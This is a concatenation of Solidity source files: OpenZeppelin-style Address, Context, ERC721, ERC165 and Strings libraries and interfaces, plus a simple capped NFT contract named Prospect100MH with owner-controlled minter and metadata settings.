* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "ERC721.sol";
import "Ownable.sol";
import "ISimpleLimitedMinter.sol";
contract Prospect100MH is ERC721, Ownable, ISimpleLimitedMinter {
string internal baseURI;
bool internal isLockedURI;
uint256 public nextTokenId;
uint256 public maxTokens;
address public minterAddress;
constructor(uint max_, string memory name_, string memory symbol_,
string memory baseURI_, uint256 instantAirdrop) payable ERC721(name_, symbol_) {
maxTokens = max_;
baseURI = baseURI_;
require(instantAirdrop <= maxTokens, "Too many tokens to airdrop");
for (uint256 i = 1; i <= instantAirdrop; i++) _mint(msg.sender, i);
nextTokenId = instantAirdrop + 1;
}
modifier onlyMinter() {
require(msg.sender == minterAddress, "Not a minter");
_;
}
function changeMinterAddress(address minterAddress_) external onlyOwner {
minterAddress = minterAddress_;
}
// lock metadata forever
function lockURI() external onlyOwner {
isLockedURI = true;
}
// modify the base URI
function changeBaseURI(string memory newBaseURI) onlyOwner external
{
require(!isLockedURI, "URI change has been locked");
baseURI = newBaseURI;
}
// return Base URI
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
//only minter - mints next token to address
function tryMint(address to) external onlyMinter override returns (bool minted, uint256 tokenId) {
if (nextTokenId > maxTokens) return (false, 0);
uint256 tokenId = nextTokenId;
_mint(to, tokenId);
nextTokenId++;
return (true, tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC721.sol";
import "IERC721Receiver.sol";
import "IERC721Metadata.sol";
import "IERC721Enumerable.sol";
import "Address.sol";
import "Context.sol";
import "Strings.sol";
import "ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
